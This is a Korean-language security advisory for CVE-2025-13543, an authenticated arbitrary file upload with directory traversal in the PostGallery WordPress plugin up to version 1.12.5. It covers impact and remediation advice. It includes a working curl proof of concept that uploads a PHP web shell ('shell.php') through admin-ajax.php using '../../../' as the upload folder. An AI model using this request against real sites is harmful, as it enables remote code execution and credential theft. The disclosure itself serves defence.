PostGallery-CVE-Report

CVE-2025-13543 공개

CVE-2025-13543 - PostGallery의 취약점

이 저장소는 rtowebsites가 개발한 WordPress 플러그인 PostGallery <= 1.12.5에서 발견된 취약점을 공개합니다.

🛠 영향을 받는 버전

• 제품: PostGallery
• 버전: <= 1.12.5
• URL: https://wordpress.org/plugins/postgallery/

🔒 할당된 CVE

🧾 상세 설명

CVE-2025-13543 — 인증된 (구독자 이상) 임의 파일 업로드

• 영향을 받는 구성 요소: PostGallery AJAX 업로드 핸들러 (postgalleryAjaxUpload) 및 PostGalleryUploader 백엔드
• 공격 벡터: 디렉토리 트래버설을 통한 인증된 (구독자 이상) 임의 파일 업로드
• 트리거: 구독자와 같은 인증된 낮은 권한의 사용자는 디렉토리 트래버설을 통해 공격자가 제어하는 경로에 임의의 PHP 파일을 업로드할 수 있습니다.

curl -k -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_<hash>=<your_cookie>" \
  -F "action=postgalleryAjaxUpload" \
  -F "postid=1" \
  -F "uploadFolder=../../../" \
  -F "name=shell.php" \
  -F "[email protected];type=application/x-php"

• 영향: 구독자와 같은 인증된 낮은 권한의 사용자는 디렉토리 트래버설을 통해 공격자가 제어하는 경로에 임의의 PHP 파일을 업로드할 수 있습니다. 이로 인해 웹 서버 컨텍스트에서 원격 코드 실행이 가능해져 사이트 콘텐츠 수정, wp-config.php 및 데이터베이스 자격 증명 유출, 지속적인 백도어 배포, 악성 관리자 계정 생성 등 전체 사이트가 손상될 수 있습니다.

❓취약점 원인

• lib/ajax-actions/imageUpload.php에서 적절한 권한 부여(예: current_user_can('upload_files') 필요)를 적용하고 업로드 처리 전에 암호화 nonce를 검증합니다.
• admin/PostGalleryUploader.php에서 uploadFolder를 wp-content/uploads/gallery의 알려진 하위 디렉토리로 엄격히 제한하고 ../ 또는 절대 경로를 포함하는 값을 거부하며 사용 전에 경로를 정규화합니다.
• WordPress의 표준 업로드 API(wp_handle_upload() / wp_check_filetype_and_ext())를 사용하고 업로드를 실행 불가능한 미디어 유형의 허용 목록으로 제한하며 웹 접근 가능 디렉토리에서 .php 및 기타 실행 가능한 확장자를 명시적으로 차단합니다.

한마디

이런 CTF 같은 취약점이 존재하다니... 생각했다. 임의 파일 업로드만으로도 위험한데, 디렉토리 트래버설까지 있다는 절망. 취약점 재현이 매우 재미있었다.

🔍 발견자

이름: MooseLove
역할: 독립 보안 연구원 / 버그 헌터
연락처: 요청 시 제공

📚 참고 자료

• 제품: https://wordpress.org/plugins/postgallery/

⚠️ 라이선스

본 권고는 공공 보안 인식을 위해 제공됩니다. 출처를 밝히고 자유롭게 공유할 수 있습니다.